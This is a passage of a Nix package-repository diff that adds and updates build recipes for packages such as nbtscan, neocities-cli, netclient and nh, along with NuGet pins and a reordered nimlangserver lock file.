pname = "Microsoft.Bcl.AsyncInterfaces"; version = "1.1.0"; sha256 = "1dq5yw7cy6s42193yl4iqscfw5vzkjkgv0zyy32scr4jza6ni1a1"; }) (fetchNuGet { pname = "Microsoft.Bcl.AsyncInterfaces"; version = "8.0.0"; sha256 = "0z4jq5prnxyb4p3163yxx35znpd2msjd8hw8ysmv4ah90f5sd9gm"; }) (fetchNuGet { pname = "Microsoft.Extensions.Configuration"; version = "2.1.0"; sha256 = "04rjl38wlr1jjjpbzgf64jp0ql6sbzbil0brwq9mgr3hdgwd7vx2"; }) @@ -42,13 +39,7 @@ (fetchNuGet { pname = "Microsoft.Extensions.Options"; version = "6.0.0"; sha256 = "008pnk2p50i594ahz308v81a41mbjz9mwcarqhmrjpl2d20c868g"; }) (fetchNuGet { pname = "Microsoft.Extensions.Primitives"; version = "2.1.0"; sha256 = "1r9gzwdfmb8ysnc4nzmyz5cyar1lw0qmizsvrsh252nhlyg06nmb"; }) (fetchNuGet { pname = "Microsoft.Extensions.Primitives"; version = "6.0.0"; sha256 = "1kjiw6s4yfz9gm7mx3wkhp06ghnbs95icj9hi505shz9rjrg42q2"; }) - (fetchNuGet { pname = "Microsoft.NET.ILLink.Tasks"; version = "8.0.1"; sha256 = "1drbgqdcvbpisjn8mqfgba1pwb6yri80qc4mfvyczqwrcsj5k2ja"; }) (fetchNuGet { pname = "Microsoft.NETCore.App"; version = "2.1.30"; sha256 = "10brwj7csacwa4ra37pjb2bqwg961lxi576330xlhhwqixkjkrqf"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm64"; version = "6.0.26"; sha256 = "19y6c6v20bgf7x7rrh4rx9y7s5fy8vp5m4j9b6gi1wp4rpb5mza4"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-x64"; version = "6.0.26"; sha256 = "0p7hhidaa3mnyiwnsijwy8578v843x8hh99255s69qwwyld6falv"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Ref"; version = "6.0.26"; sha256 = "12gb52dhg5h9hgnyqh1zgj2w46paxv2pfh33pphl9ajhrdr7hlsb"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm64"; version = "6.0.26"; sha256 = "164hfrwqz5dxcbb441lridk4mzcqmarb0b7ckgvqhsvpawyjw88v"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-x64"; version = "6.0.26"; sha256 = "0islayddpnflviqpbq4djc4f3v9nhsa2y76k5x6il3csq5vdw2hq"; }) (fetchNuGet { pname = "Microsoft.NETCore.DotNetAppHost"; version = "2.1.30"; sha256 = "0rabvmid1n604pk9rndlq62zqhq77p7cznmq9bzr7hshvr2rszab"; }) (fetchNuGet { pname = "Microsoft.NETCore.DotNetHostPolicy"; version = "2.1.30"; sha256 = "1zk6ajalssvpm2yv4ri3g6hbxjaj1ns0y4w3g98wss54k7v44vpw"; }) (fetchNuGet { pname = "Microsoft.NETCore.DotNetHostResolver"; version = "2.1.30"; sha256 = "0k3k6ldi5lj9ab9bdnhzfiykr6ipwz17d9g952bcanhvmk57l376"; }) diff --git a/pkgs/by-name/na/naps2/package.nix b/pkgs/by-name/na/naps2/package.nix index be326c46b65ad..e1d99e8070f9e 100644 --- a/pkgs/by-name/na/naps2/package.nix +++ b/pkgs/by-name/na/naps2/package.nix @@ -25,7 +25,7 @@ buildDotnetModule rec { executables = [ "naps2" ]; - dotnet-sdk = dotnetCorePackages.sdk_8_0; + dotnet-sdk = with dotnetCorePackages; combinePackages [ sdk_6_0 sdk_8_0 ]; dotnet-runtime = dotnetCorePackages.runtime_8_0; selfContainedBuild = true; runtimeDeps = [ diff --git a/pkgs/by-name/nb/nbtscan/package.nix b/pkgs/by-name/nb/nbtscan/package.nix new file mode 100644 index 0000000000000..27194abcf5ce8 --- /dev/null +++ b/pkgs/by-name/nb/nbtscan/package.nix @@ -0,0 +1,27 @@ +{ lib +, stdenv +, fetchFromGitHub +, autoreconfHook +}: + +stdenv.mkDerivation { + pname = "nbtscan"; + version = "1.7.2-unstable-2022-10-29"; + + src = fetchFromGitHub { + owner = "resurrecting-open-source-projects"; + repo = "nbtscan"; + rev = "e09e22a2a322ba74bb0b3cd596933fe2e31f4b2b"; + hash = "sha256-+AOubF6eZ1Zvk5n8mGl9TxEicBpS4kYThA4MrEaGjAs="; + }; + + nativeBuildInputs = [ autoreconfHook ]; + + meta = with lib; { + description = "Scan networks searching for NetBIOS information"; + homepage = "https://github.com/resurrecting-open-source-projects/nbtscan"; + maintainers = with maintainers; [ d3vil0p3r ]; + platforms = platforms.unix; + license = licenses.gpl2Plus; + }; +} diff --git a/pkgs/by-name/nc/nc4nix/package.nix b/pkgs/by-name/nc/nc4nix/package.nix new file mode 100644 index 0000000000000..4593e82f24ae9 --- /dev/null +++ b/pkgs/by-name/nc/nc4nix/package.nix @@ -0,0 +1,27 @@ +{ lib +, buildGoModule +, fetchFromGitHub +}: + +buildGoModule { + pname = "nc4nix"; + version = "0-unstable-2024-03-01"; + + src = fetchFromGitHub { + owner = "helsinki-systems"; + repo = "nc4nix"; + rev = "ba37674c0dddf93e0a011dace92ec7f0ec834765"; + hash = "sha256-k12eeP2gojLCsJH1GGuiTmxz3ViPc0+oFBuptyh42Bw="; + }; + + vendorHash = "sha256-ZXl4kMDY9ADkHUcLsl3uNpyErMzbgS+J65+uUeIXpSE="; + + meta = with lib; { + description = "Packaging helper for Nextcloud apps"; + homepage = "https://github.com/helsinki-systems/nc4nix"; + license = licenses.mit; + maintainers = with maintainers; [ onny ]; + platforms = platforms.linux; + }; +} + diff --git a/pkgs/by-name/ne/neocities-cli/Gemfile b/pkgs/by-name/ne/neocities-cli/Gemfile new file mode 100644 index 0000000000000..f9e464079d0f0 --- /dev/null +++ b/pkgs/by-name/ne/neocities-cli/Gemfile @@ -0,0 +1,2 @@ +source 'https://rubygems.org' +gem 'neocities' diff --git a/pkgs/by-name/ne/neocities-cli/Gemfile.lock b/pkgs/by-name/ne/neocities-cli/Gemfile.lock new file mode 100644 index 0000000000000..91b35afca94d2 --- /dev/null +++ b/pkgs/by-name/ne/neocities-cli/Gemfile.lock @@ -0,0 +1,48 @@ +GEM + remote: https://rubygems.org/ + specs: + equatable (0.5.0) + httpclient-fixcerts (2.8.5) + necromancer (0.4.0) + neocities (0.0.18) + httpclient-fixcerts (~> 2.8, >= 2.8.5) + pastel (~> 0.7, = 0.7.2) + rake (~> 12.3, >= 12.3.1) + tty-prompt (~> 0.12, = 0.12.0) + tty-table (~> 0.10, = 0.10.0) + pastel (0.7.2) + equatable (~> 0.5.0) + tty-color (~> 0.4.0) + rake (12.3.3) + strings (0.1.8) + strings-ansi (~> 0.1) + unicode-display_width (~> 1.5) + unicode_utils (~> 1.4) + strings-ansi (0.2.0) + tty-color (0.4.3) + tty-cursor (0.4.0) + tty-prompt (0.12.0) + necromancer (~> 0.4.0) + pastel (~> 0.7.0) + tty-cursor (~> 0.4.0) + wisper (~> 1.6.1) + tty-screen (0.6.5) + tty-table (0.10.0) + equatable (~> 0.5.0) + necromancer (~> 0.4.0) + pastel (~> 0.7.2) + strings (~> 0.1.0) + tty-screen (~> 0.6.4) + unicode-display_width (1.8.0) + unicode_utils (1.4.0) + wisper (1.6.1) + +PLATFORMS + ruby + x86_64-linux + +DEPENDENCIES + neocities + +BUNDLED WITH + 2.5.5 diff --git a/pkgs/by-name/ne/neocities-cli/gemset.nix b/pkgs/by-name/ne/neocities-cli/gemset.nix new file mode 100644 index 0000000000000..573cee83eed2f --- /dev/null +++ b/pkgs/by-name/ne/neocities-cli/gemset.nix @@ -0,0 +1,169 @@ +{ + equatable = { + groups = [ "default" ]; + platforms = [ ]; + source = { + remotes = [ "https://rubygems.org" ]; + sha256 = "1sjm9zjakyixyvsqziikdrsqfzis6j3fq23crgjkp6fwkfgndj7x"; + type = "gem"; + }; + version = "0.5.0"; + }; + httpclient-fixcerts = { + groups = [ "default" ]; + platforms = [ ]; + source = { + remotes = [ "https://rubygems.org" ]; + sha256 = "1zfszylh51y8ic8sbff3mwf30jb0gj270r5nxkcm1ydxad19w6sl"; + type = "gem"; + }; + version = "2.8.5"; + }; + necromancer = { + groups = [ "default" ]; + platforms = [ ]; + source = { + remotes = [ "https://rubygems.org" ]; + sha256 = "0v9nhdkv6zrp7cn48xv7n2vjhsbslpvs0ha36mfkcd56cp27pavz"; + type = "gem"; + }; + version = "0.4.0"; + }; + neocities = { + dependencies = + [ "httpclient-fixcerts" "pastel" "rake" "tty-prompt" "tty-table" ]; + groups = [ "default" ]; + platforms = [ ]; + source = { + remotes = [ "https://rubygems.org" ]; + sha256 = "1hfvy4gc7rzxkgl2dbrjs2fqzi5mphmr22rjfhk6n0i3bd0wazbw"; + type = "gem"; + }; + version = "0.0.18"; + }; + pastel = { + dependencies = [ "equatable" "tty-color" ]; + groups = [ "default" ]; + platforms = [ ]; + source = { + remotes = [ "https://rubygems.org" ]; + sha256 = "1yf30d9kzpm96gw9kwbv31p0qigwfykn8qdis5950plnzgc1vlp1"; + type = "gem"; + }; + version = "0.7.2"; + }; + rake = { + groups = [ "default" ]; + platforms = [ ]; + source = { + remotes = [ "https://rubygems.org" ]; + sha256 = "1cvaqarr1m84mhc006g3l1vw7sa5qpkcw0138lsxlf769zdllsgp"; + type = "gem"; + }; + version = "12.3.3"; + }; + strings = { + dependencies = [ "strings-ansi" "unicode-display_width" "unicode_utils" ]; + groups = [ "default" ]; + platforms = [ ]; + source = { + remotes = [ "https://rubygems.org" ]; + sha256 = "111876lcqrykh30w7zzkrl06d6rj9lq24y625m28674vgfxkkcz0"; + type = "gem"; + }; + version = "0.1.8"; + }; + strings-ansi = { + groups = [ "default" ]; + platforms = [ ]; + source = { + remotes = [ "https://rubygems.org" ]; + sha256 = "120wa6yjc63b84lprglc52f40hx3fx920n4dmv14rad41rv2s9lh"; + type = "gem"; + }; + version = "0.2.0"; + }; + tty-color = { + groups = [ "default" ]; + platforms = [ ]; + source = { + remotes = [ "https://rubygems.org" ]; + sha256 = "0zz5xa6xbrj69h334d8nx7z732fz80s1a0b02b53mim95p80s7bk"; + type = "gem"; + }; + version = "0.4.3"; + }; + tty-cursor = { + groups = [ "default" ]; + platforms = [ ]; + source = { + remotes = [ "https://rubygems.org" ]; + sha256 = "07whfm8mnp7l49s2cm2qy1snhsqq3a90sqwb71gvym4hm2kx822a"; + type = "gem"; + }; + version = "0.4.0"; + }; + tty-prompt = { + dependencies = [ "necromancer" "pastel" "tty-cursor" "wisper" ]; + groups = [ "default" ]; + platforms = [ ]; + source = { + remotes = [ "https://rubygems.org" ]; + sha256 = "1026nyqhgmgxi2nmk8xk3hca07gy5rpisjs8y6w00wnw4f01kpv0"; + type = "gem"; + }; + version = "0.12.0"; + }; + tty-screen = { + groups = [ "default" ]; + platforms = [ ]; + source = { + remotes = [ "https://rubygems.org" ]; + sha256 = "0azpjgyhdm8ycblnx9crq3dgb2x8yg454a13n60zfpsc0n138sw1"; + type = "gem"; + }; + version = "0.6.5"; + }; + tty-table = { + dependencies = + [ "equatable" "necromancer" "pastel" "strings" "tty-screen" ]; + groups = [ "default" ]; + platforms = [ ]; + source = { + remotes = [ "https://rubygems.org" ]; + sha256 = "05krrj1x5pmfbz74paszrsr1316w9b9jlc4wpd9s9gpzqfzwjzcg"; + type = "gem"; + }; + version = "0.10.0"; + }; + unicode-display_width = { + groups = [ "default" ]; + platforms = [ ]; + source = { + remotes = [ "https://rubygems.org" ]; + sha256 = "1204c1jx2g89pc25qk5150mk7j5k90692i7ihgfzqnad6qni74h2"; + type = "gem"; + }; + version = "1.8.0"; + }; + unicode_utils = { + groups = [ "default" ]; + platforms = [ ]; + source = { + remotes = [ "https://rubygems.org" ]; + sha256 = "0h1a5yvrxzlf0lxxa1ya31jcizslf774arnsd89vgdhk4g7x08mr"; + type = "gem"; + }; + version = "1.4.0"; + }; + wisper = { + groups = [ "default" ]; + platforms = [ ]; + source = { + remotes = [ "https://rubygems.org" ]; + sha256 = "19bw0z1qw1dhv7gn9lad25hgbgpb1bkw8d599744xdfam158ms2s"; + type = "gem"; + }; + version = "1.6.1"; + }; +} diff --git a/pkgs/by-name/ne/neocities-cli/package.nix b/pkgs/by-name/ne/neocities-cli/package.nix new file mode 100644 index 0000000000000..6bc673d3288b7 --- /dev/null +++ b/pkgs/by-name/ne/neocities-cli/package.nix @@ -0,0 +1,22 @@ +{ lib +, bundlerApp +, bundlerUpdateScript +}: + +bundlerApp { + pname = "neocities"; + gemdir = ./.; + exes = [ "neocities" ]; + + passthru.updateScript = bundlerUpdateScript "neocities"; + + meta = with lib; { + description = "The Neocities Gem - A CLI and library for using the Neocities web site API."; + homepage = "https://github.com/neocities/neocities-ruby"; + license = licenses.mit; + mainProgram = "neocities"; + maintainers = with maintainers; [ dawoox ]; + platforms = platforms.unix; + }; +} + diff --git a/pkgs/by-name/ne/net-cpp/package.nix b/pkgs/by-name/ne/net-cpp/package.nix index 49f9c50721dd9..00815ff66ca80 100644 --- a/pkgs/by-name/ne/net-cpp/package.nix +++ b/pkgs/by-name/ne/net-cpp/package.nix @@ -47,6 +47,11 @@ stdenv.mkDerivation (finalAttrs: { url = "https://salsa.debian.org/ubports-team/net-cpp/-/raw/941d9eceaa66a06eabb1eb79554548b47d4a60ab/debian/patches/1007_wait-for-flask.patch"; hash = "sha256-nsGkZBuqahsg70PLUxn5EluDjmfZ0/wSnOYimfAI4ag="; }) + # Bump std version to 14 for gtest 1.13+ + (fetchpatch { + url = "https://salsa.debian.org/ubports-team/net-cpp/-/raw/f3a031eb7e4ce7df00781100f16de58a4709afcb/debian/patches/0001-Bump-std-version-to-14-needed-for-googletest-1.13.0.patch"; + hash = "sha256-3ykqCfZjtTx7zWQ5rkMhVp7D5fkpoCjl0CVFwwEd4U4="; + }) ]; postPatch = lib.optionalString finalAttrs.finalPackage.doCheck '' diff --git a/pkgs/by-name/ne/netclient/package.nix b/pkgs/by-name/ne/netclient/package.nix index 1fe94d97762f6..2a914d03ca8e8 100644 --- a/pkgs/by-name/ne/netclient/package.nix +++ b/pkgs/by-name/ne/netclient/package.nix @@ -8,16 +8,16 @@ buildGoModule rec { pname = "netclient"; - version = "0.22.0"; + version = "0.23.0"; src = fetchFromGitHub { owner = "gravitl"; repo = "netclient"; rev = "v${version}"; - hash = "sha256-7raWk4Y/ZrSaGKPLrrnD49aDALkZ+Nxycd+px8Eks10="; + hash = "sha256-Wglh6tcpanEmXwoRKdAot/l4RS+EbIIHI1etQ9ic7BI="; }; - vendorHash = "sha256-lRXZ9iSWQEKWmeQV1ei/G4+HvqhW9U8yUv1Qb/d2jvY="; + vendorHash = "sha256-or/0z+RiOkZ2qgEqXNI/LafN+eWAzvLuSZta/QNUI3g="; buildInputs = lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Cocoa ++ lib.optional stdenv.isLinux libX11; diff --git a/pkgs/by-name/ne/netproxrc/package.nix b/pkgs/by-name/ne/netproxrc/package.nix new file mode 100644 index 0000000000000..4f3de9cc073fc --- /dev/null +++ b/pkgs/by-name/ne/netproxrc/package.nix @@ -0,0 +1,22 @@ +{ lib, buildGoModule, fetchFromGitHub }: + +buildGoModule rec { + pname = "netproxrc"; + version = "1.1.0"; + + src = fetchFromGitHub { + owner = "timbertson"; + repo = "netproxrc"; + rev = "version-${version}"; + hash = "sha256-LyHFaT5kej1hy5z28XP+bOSCEj5DHqwMRkvrv/5inQU="; + }; + + vendorHash = "sha256-LWNn5qp+Z/M9xTtOZ5RDHq1QEFK/Y2XgBi7H5S7Z7XE="; + + meta = with lib; { + description = "A HTTP proxy injecting credentials from a .netrc file"; + homepage = "https://github.com/timbertson/netproxrc"; + license = licenses.mit; + maintainers = with maintainers; [ timbertson ]; + }; +} diff --git a/pkgs/by-name/nh/nh/package.nix b/pkgs/by-name/nh/nh/package.nix index acb5709da6adf..028f8d057bea7 100644 --- a/pkgs/by-name/nh/nh/package.nix +++ b/pkgs/by-name/nh/nh/package.nix @@ -14,7 +14,7 @@ assert use-nom -> nix-output-monitor != null; let - version = "3.5.2"; + version = "3.5.3"; runtimeDeps = [ nvd ] ++ lib.optionals use-nom [ nix-output-monitor ]; in rustPlatform.buildRustPackage { @@ -25,7 +25,7 @@ rustPlatform.buildRustPackage { owner = "viperML"; repo = "nh"; rev = "refs/tags/v${version}"; - hash = "sha256-TwCR7tZvrjsvz6SmgjWYOne7Qz7J2jn4Cr4Er0Yj+LA="; + hash = "sha256-37BcFt67NZj4YQ9kqm69O+OJkgt+TXWTu53bvJvOtn8="; }; strictDeps = true; @@ -52,7 +52,7 @@ rustPlatform.buildRustPackage { ${lib.optionalString use-nom "--set-default NH_NOM 1"} ''; - cargoHash = "sha256-/mYEjIq4dtt9noRDzFWwLZ3CSz7cmlViEGubi6m9R1o="; + cargoHash = "sha256-uRibycYznqzdf8QVX6bHfq3J3Imu8KnWCL0ZS1w4KFk="; passthru.updateScript = nix-update-script { }; diff --git a/pkgs/applications/misc/nhentai/default.nix b/pkgs/by-name/nh/nhentai/package.nix index 1f9fdcf48ccbd..e21c98bf58ea7 100644 --- a/pkgs/applications/misc/nhentai/default.nix +++ b/pkgs/by-name/nh/nhentai/package.nix @@ -29,7 +29,7 @@ python3Packages.buildPythonApplication rec { meta = { homepage = "https://github.com/RicterZ/nhentai"; - description = "nHentai is a CLI tool for downloading doujinshi from <http://nhentai.net>"; + description = "CLI tool for downloading doujinshi from adult site(s)"; license = lib.licenses.mit; maintainers = with lib.maintainers; [ ]; mainProgram = "nhentai"; diff --git a/pkgs/by-name/ni/nimlangserver/lock.json b/pkgs/by-name/ni/nimlangserver/lock.json index 1f0ac75073294..891c26cba301a 100644 --- a/pkgs/by-name/ni/nimlangserver/lock.json +++ b/pkgs/by-name/ni/nimlangserver/lock.json @@ -2,223 +2,219 @@ "depends": [ { "method": "fetchzip", - "packages": [ - "asynctools" - ], - "path": "/nix/store/51nf7pb5cwg2n441ka6w6g6c4hdjsdj4-source", - "rev": "bb01d965a2ad0f08eaff6a53874f028ddbab4909", - "sha256": "0v4n7maskd07qsx8rsr9v0bs7nzbncmvxsn7j9jsk9azcy803v49", - "srcDir": "", - "url": "https://github.com/nickysn/asynctools/archive/bb01d965a2ad0f08eaff6a53874f028ddbab4909.tar.gz" - }, - { - "method": "fetchzip", - "packages": [ - "asynctools" - ], - "path": "/nix/store/86w001hvppm2xfmqzb3733rnd5s1dmc2-source", - "rev": "non-blocking", - "sha256": "1iyr2k3vrbqfwm70w9bsyhis799lm9rin8j5pkjxgrpshm1znpbd", - "srcDir": "", - "url": "https://github.com/yyoncho/asynctools/archive/non-blocking.tar.gz" - }, - { - "method": "fetchzip", - "packages": [ - "bearssl" - ], - "path": "/nix/store/drj65wylnxdbv4jqhymf7biiyjfb75v8-source", - "rev": "9372f27a25d0718d3527afad6cc936f6a853f86e", - "sha256": "152zbyqx12fmmjl4wn6kqqk1jzp1ywm4xvjd28ll9037f1pyd5ic", - "srcDir": "", - "url": "https://github.com/status-im/nim-bearssl/archive/9372f27a25d0718d3527afad6cc936f6a853f86e.tar.gz" - }, - { - "method": "fetchzip", - "packages": [ - "chronicles" - ], - "path": "/nix/store/ffz78k6z9wf8vj2kv1jdj5dq2rxf61j7-source", - "rev": "2a2681b60289aaf7895b7056f22616081eb1a882", - "sha256": "0n8awgrmn9f6vd7ibv1jlyxk61lrs7hc51fghilrw6g6xq5w9rxq", - "srcDir": "", - "url": "https://github.com/status-im/nim-chronicles/archive/2a2681b60289aaf7895b7056f22616081eb1a882.tar.gz" - }, - { - "method": "fetchzip", - "packages": [ - "chronos" - ], "path": "/nix/store/l4zs1l1yw4yhf1f8q7r5x5z2szjygr6d-source", "rev": "ba143e029f35fd9b4cd3d89d007cc834d0d5ba3c", "sha256": "1lv3l9c4ifqzlfgpwpvpq2z3994zz1nirg8f59xrnfb7zgbv8l3i", "srcDir": "", - "url": "https://github.com/status-im/nim-chronos/archive/ba143e029f35fd9b4cd3d89d007cc834d0d5ba3c.tar.gz" + "url": "https://github.com/status-im/nim-chronos/archive/ba143e029f35fd9b4cd3d89d007cc834d0d5ba3c.tar.gz", + "subDir": "", + "packages": [ + "chronos" + ] }, { "method": "fetchzip", - "packages": [ - "faststreams" - ], - "path": "/nix/store/4nj341ypj07hjvxv0462wpnywhkj02b5-source", - "rev": "422971502bd641703bf78a27cb20429e77fcfb8b", - "sha256": "0snzh904f8f3wn33liy6817q9ccx8mvsl88blhr49qh69mzbgnba", + "path": "/nix/store/q42j4w2f70qfihcrpzgl3fspxihfsadb-source", + "rev": "c0ae9e10a9238883d18226fa28a5435c4d305e45", + "sha256": "0dxhjg5nf4sc4ga2zrxqcmr1v3ki9irkl603x0y3pz5sd8jdi731", "srcDir": "", - "url": "https://github.com/status-im/nim-faststreams/archive/422971502bd641703bf78a27cb20429e77fcfb8b.tar.gz" + "url": "https://github.com/status-im/nim-stint/archive/c0ae9e10a9238883d18226fa28a5435c4d305e45.tar.gz", + "subDir": "", + "packages": [ + "stint" + ] }, { "method": "fetchzip", - "packages": [ - "httputils" - ], "path": "/nix/store/jmgpadmdabybhij1srd81xfr873zgfmm-source", "rev": "5065d2cf18dcb9812e25cc0e2c50eb357bde04cf", "sha256": "069fw3h9cjn0hab9vhfri8ibld7yihb8ggyg1nv5vxz6i3x026m5", "srcDir": "", - "url": "https://github.com/status-im/nim-http-utils/archive/5065d2cf18dcb9812e25cc0e2c50eb357bde04cf.tar.gz" + "url": "https://github.com/status-im/nim-http-utils/archive/5065d2cf18dcb9812e25cc0e2c50eb357bde04cf.tar.gz", + "subDir": "", + "packages": [ + "httputils" + ] }, { "method": "fetchzip", - "packages": [ - "json_rpc" - ], - "path": "/nix/store/szg3jxcg0bf6zv224nyisqhnibkd2pxw-source", - "rev": "c8a5cbe26917e6716b1597dae2d08166f3ce789a", - "sha256": "1l1y4psbcd5w68j1zz172rlwsk7jxbwlr14r2kwnkj7xc7lfwlnx", + "path": "/nix/store/wdj38hf9hdyb1skgb6v0z00kxkdmnq04-source", + "rev": "b178f47527074964f76c395ad0dfc81cf118f379", + "sha256": "1ir20z9m4wmm0bs2dd2qiq75w0x3skv0yj7sqp6bqfh98ni44xdc", "srcDir": "", - "url": "https://github.com/yyoncho/nim-json-rpc/archive/c8a5cbe26917e6716b1597dae2d08166f3ce789a.tar.gz" + "url": "https://github.com/status-im/nim-unittest2/archive/b178f47527074964f76c395ad0dfc81cf118f379.tar.gz", + "subDir": "", + "packages": [ + "unittest2" + ] }, { "method": "fetchzip", - "packages": [ - "json_serialization" - ], - "path": "/nix/store/h0xl7qnw7bh513rb24k1n805x3n1rimw-source", - "rev": "d9394dc7286064902d825bbc1203d03d7218633a", - "sha256": "102m7jaxjip24a6hrnk0nvfb0vmdx5zq4m9i4xyzq8m782xyqp94", + "path": "/nix/store/yad26q3iv3r2lw9xs655kyx3hvflxi1p-source", + "rev": "2c3ae3137f3c9cb48134285bd4a47186fa51f0e8", + "sha256": "09pkxzsnahljkqyp540v1wwiqcnbkz5ji5bz9q9cwn3axpmqc3v7", "srcDir": "", - "url": "https://github.com/status-im/nim-json-serialization/archive/d9394dc7286064902d825bbc1203d03d7218633a.tar.gz" + "url": "https://github.com/status-im/nim-websock/archive/2c3ae3137f3c9cb48134285bd4a47186fa51f0e8.tar.gz", + "subDir": "", + "packages": [ + "websock" + ] }, { "method": "fetchzip", - "packages": [ - "news" - ], "path": "/nix/store/siwfngb840kcdjdviy5rhlpvdpkw14sk-source", "rev": "8bfd753649aa7e870ec45e93f1453d3bfcf66733", "sha256": "0hvs4kfr4aais7ixvh9d7na2r2zjnvaw3m3rpklafn9qld2wpaav", "srcDir": "src", - "url": "https://github.com/status-im/news/archive/8bfd753649aa7e870ec45e93f1453d3bfcf66733.tar.gz" - }, - { - "method": "fetchzip", + "url": "https://github.com/status-im/news/archive/8bfd753649aa7e870ec45e93f1453d3bfcf66733.tar.gz", + "subDir": "", "packages": [ "news" - ], - "path": "/nix/store/siwfngb840kcdjdviy5rhlpvdpkw14sk-source", - "rev": "status", - "sha256": "0hvs4kfr4aais7ixvh9d7na2r2zjnvaw3m3rpklafn9qld2wpaav", - "srcDir": "src", - "url": "https://github.com/status-im/news/archive/status.tar.gz" - }, - { - "method": "fetchzip", - "packages": [ - "nimcrypto" - ], - "path": "/nix/store/dnj20qh97ylf57nka9wbxs735wbw7yxv-source", - "rev": "4014ef939b51e02053c2e16dd3481d47bc9267dd", - "sha256": "1kgqr2lqaffglc1fgbanwcvhkqcbbd20d5b6w4lf0nksfl9c357a", - "srcDir": "", - "url": "https://github.com/cheatfate/nimcrypto/archive/4014ef939b51e02053c2e16dd3481d47bc9267dd.tar.gz" + ] }, { "method": "fetchzip", - "packages": [ - "serialization" - ], "path": "/nix/store/ss096qz8svm5my0mjhk3imyrc2nm2x0y-source", "rev": "4d541ec43454809904fc4c3c0a7436410ad597d2", "sha256": "1a5x0fsxxkqpambz9q637dz0jrzv9q1jb3cya12k6106vc65lyf8", "srcDir": "", - "url": "https://github.com/status-im/nim-serialization/archive/4d541ec43454809904fc4c3c0a7436410ad597d2.tar.gz" + "url": "https://github.com/status-im/nim-serialization/archive/4d541ec43454809904fc4c3c0a7436410ad597d2.tar.gz", + "subDir": "", + "packages": [ + "serialization" + ] }, { "method": "fetchzip", - "packages": [ - "stew" - ], "path": "/nix/store/90rwcr71bq13cid74v4aazikv2s924r1-source", "rev": "d9400ddea08341a65102cffdb693d3a7131efef4", "sha256": "0gkmh63izhp0bxyfmwfvyp81bxnzwnc3r7nxr5a05xpl8crk85w2", "srcDir": "", - "url": "https://github.com/status-im/nim-stew/archive/d9400ddea08341a65102cffdb693d3a7131efef4.tar.gz" + "url": "https://github.com/status-im/nim-stew/archive/d9400ddea08341a65102cffdb693d3a7131efef4.tar.gz", + "subDir": "", + "packages": [ + "stew" + ] }, { "method": "fetchzip", - "packages": [ - "stint" - ], - "path": "/nix/store/q42j4w2f70qfihcrpzgl3fspxihfsadb-source", - "rev": "c0ae9e10a9238883d18226fa28a5435c4d305e45", - "sha256": "0dxhjg5nf4sc4ga2zrxqcmr1v3ki9irkl603x0y3pz5sd8jdi731", + "path": "/nix/store/4nj341ypj07hjvxv0462wpnywhkj02b5-source", + "rev": "422971502bd641703bf78a27cb20429e77fcfb8b", + "sha256": "0snzh904f8f3wn33liy6817q9ccx8mvsl88blhr49qh69mzbgnba", "srcDir": "", - "url": "https://github.com/status-im/nim-stint/archive/c0ae9e10a9238883d18226fa28a5435c4d305e45.tar.gz" + "url": "https://github.com/status-im/nim-faststreams/archive/422971502bd641703bf78a27cb20429e77fcfb8b.tar.gz", + "subDir": "", + "packages": [ + "faststreams" + ] }, { "method": "fetchzip", + "path": "/nix/store/qkwz2w5haw8px691c6gkklvxxp38j9d3-source", + "rev": "2f95909c767605e06670dc70f5cffd6b9284f192", + "sha256": "1qdq9wpm6xahqczmvdn3a7yvvrw5x42ylvzmbybdwjzd8vmgg0zv", + "srcDir": "", + "url": "https://github.com/zevv/with/archive/2f95909c767605e06670dc70f5cffd6b9284f192.tar.gz", + "subDir": "", "packages": [ - "testutils" - ], + "with" + ] + }, + { + "method": "fetchzip", "path": "/nix/store/hn5r1ywl4qzzjl9zj62w5m6f8bqkjn8q-source", "rev": "dfc4c1b39f9ded9baf6365014de2b4bfb4dafc34", "sha256": "0fi59m8yvayzlh1ajbl98ddy43i3ikjqh3s5px16y0s3cidg4fai", "srcDir": "", - "url": "https://github.com/status-im/nim-testutils/archive/dfc4c1b39f9ded9baf6365014de2b4bfb4dafc34.tar.gz" + "url": "https://github.com/status-im/nim-testutils/archive/dfc4c1b39f9ded9baf6365014de2b4bfb4dafc34.tar.gz", + "subDir": "", + "packages": [ + "testutils" + ] }, { "method": "fetchzip", - "packages": [ - "unittest2" - ], - "path": "/nix/store/wdj38hf9hdyb1skgb6v0z00kxkdmnq04-source", - "rev": "b178f47527074964f76c395ad0dfc81cf118f379", - "sha256": "1ir20z9m4wmm0bs2dd2qiq75w0x3skv0yj7sqp6bqfh98ni44xdc", + "path": "/nix/store/szg3jxcg0bf6zv224nyisqhnibkd2pxw-source", + "rev": "c8a5cbe26917e6716b1597dae2d08166f3ce789a", + "sha256": "1l1y4psbcd5w68j1zz172rlwsk7jxbwlr14r2kwnkj7xc7lfwlnx", "srcDir": "", - "url": "https://github.com/status-im/nim-unittest2/archive/b178f47527074964f76c395ad0dfc81cf118f379.tar.gz" + "url": "https://github.com/yyoncho/nim-json-rpc/archive/c8a5cbe26917e6716b1597dae2d08166f3ce789a.tar.gz", + "subDir": "", + "packages": [ + "json_rpc" + ] }, { "method": "fetchzip", + "path": "/nix/store/dnj20qh97ylf57nka9wbxs735wbw7yxv-source", + "rev": "4014ef939b51e02053c2e16dd3481d47bc9267dd", + "sha256": "1kgqr2lqaffglc1fgbanwcvhkqcbbd20d5b6w4lf0nksfl9c357a", + "srcDir": "", + "url": "https://github.com/cheatfate/nimcrypto/archive/4014ef939b51e02053c2e16dd3481d47bc9267dd.tar.gz", + "subDir": "", "packages": [ - "websock" - ], - "path": "/nix/store/yad26q3iv3r2lw9xs655kyx3hvflxi1p-source", - "rev": "2c3ae3137f3c9cb48134285bd4a47186fa51f0e8", - "sha256": "09pkxzsnahljkqyp540v1wwiqcnbkz5ji5bz9q9cwn3axpmqc3v7", + "nimcrypto" + ] + }, + { + "method": "fetchzip", + "path": "/nix/store/drj65wylnxdbv4jqhymf7biiyjfb75v8-source", + "rev": "9372f27a25d0718d3527afad6cc936f6a853f86e", + "sha256": "152zbyqx12fmmjl4wn6kqqk1jzp1ywm4xvjd28ll9037f1pyd5ic", "srcDir": "", - "url": 